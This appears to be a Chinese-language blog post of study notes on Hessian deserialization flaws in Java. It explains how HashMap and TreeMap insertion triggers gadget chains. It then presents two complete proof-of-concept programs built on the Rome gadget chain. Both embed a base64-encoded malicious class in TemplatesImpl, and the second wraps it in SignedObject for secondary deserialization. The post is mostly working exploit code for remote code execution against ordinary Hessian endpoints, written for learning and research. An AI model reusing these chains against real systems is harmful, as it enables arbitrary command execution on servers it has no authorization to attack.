hessian反序列

发表于 更新于 分类于
hessian反序列漏洞学习.

Hessian反序列化

可以看到， Hessian 协议使用 unsafe 创建类实例，使用反射写入值，并且没有在重写了某些方法后对其进行调用这样的逻辑。
所以无论是构造方法、getter/setter 方法、readObject 等等方法都不会在 Hessian 反序列化中被触发，那怎么会产生漏洞呢？
答案就在 Hessian 对 Map 类型数据的处理上，在之前的分析中提到，MapDeserializer#readMap 对 Map 类型数据进行反序列化操作是会创建相应的 Map 对象，并将 Key 和 Value 分别反序列化后使用 put 方法写入数据。在没有指定 Map 的具体实现类时，将会默认使用 HashMap ，对于 SortedMap，将会使用 TreeMap。
HashMap 在 put 键值对时，hash方法去触发hashcode,putval的时候也会检测hash值,跟hashtable差不多可以触发equals

1
2
3
4
5
6
7
public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

image.png
TreeMap的put方法会触发compare方法
image.png
那么我们能选取以hashCode/equlas/compareTo方法作为起点的调用链进行攻击

Rome

之前是rome链打反序列化,修改一下是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package com.example.hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl impl = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode(
                "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" +
                        "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" +
                        "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" +
                        "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" +
                        "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" +
                        "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" +
                        "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" +
                        "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" +
                        "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" +
                        "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +
                        "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" +
                        "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" +
                        "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" +
                        "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" +
                        "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" +
                        "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=");
        setFieldValue(impl,"_name","baicany");
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl,"_class",null);
        ObjectBean bean =new ObjectBean(Templates.class,impl);
        ObjectBean Bean = new ObjectBean(ObjectBean.class,bean);
        HashMap map= new HashMap();
        map.put(1,1);
        Class nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tab = Array.newInstance(nodeC, 1);
        Array.set(tab, 0, nodeCons.newInstance(0, Bean, "baicany", null));
        setFieldValue(map, "table", tab);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(barr);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(barr.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}


为什么打不了呢,由于TemplatesImpl类中被transient修饰的_tfactory属性无法被序列化，进而导致TemplatesImpl类无法初始化.因为之前我们用的java原生反序列化会调用readObject方法,之前学习的时候也提到了反序列化会_tfactory自动赋值.不用担心哪些问题.这里就不提了.所以打二次反序列化了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package com.example.hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl impl = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode(
            "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" +
            "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" +
            "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" +
            "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" +
            "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" +
            "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" +
            "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" +
            "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" +
            "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" +
            "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +
            "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" +
            "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" +
            "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" +
            "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" +
            "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" +
            "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=");
        setFieldValue(impl,"_name","baicany");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl,"_class",null);
        HashMap map1 = getHashMap(Templates.class, impl);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(map1, kp.getPrivate(), Signature.getInstance("DSA"));

        HashMap map = getHashMap(SignedObject.class,signedObject);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(barr);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(barr.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static HashMap getHashMap(Class clazz, Object obj) throws Exception {
        ObjectBean bean =new ObjectBean(clazz,obj);
        ObjectBean Bean = new ObjectBean(ObjectBean.class,bean);
        HashMap map= new HashMap();
        map.put(1,1);
        Class nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tab = Array.newInstance(nodeC, 1);
        Array.set(tab, 0, nodeCons.newInstance(0, Bean, "baicany", null));
        setFieldValue(map, "table", tab);
        return map;
    }
}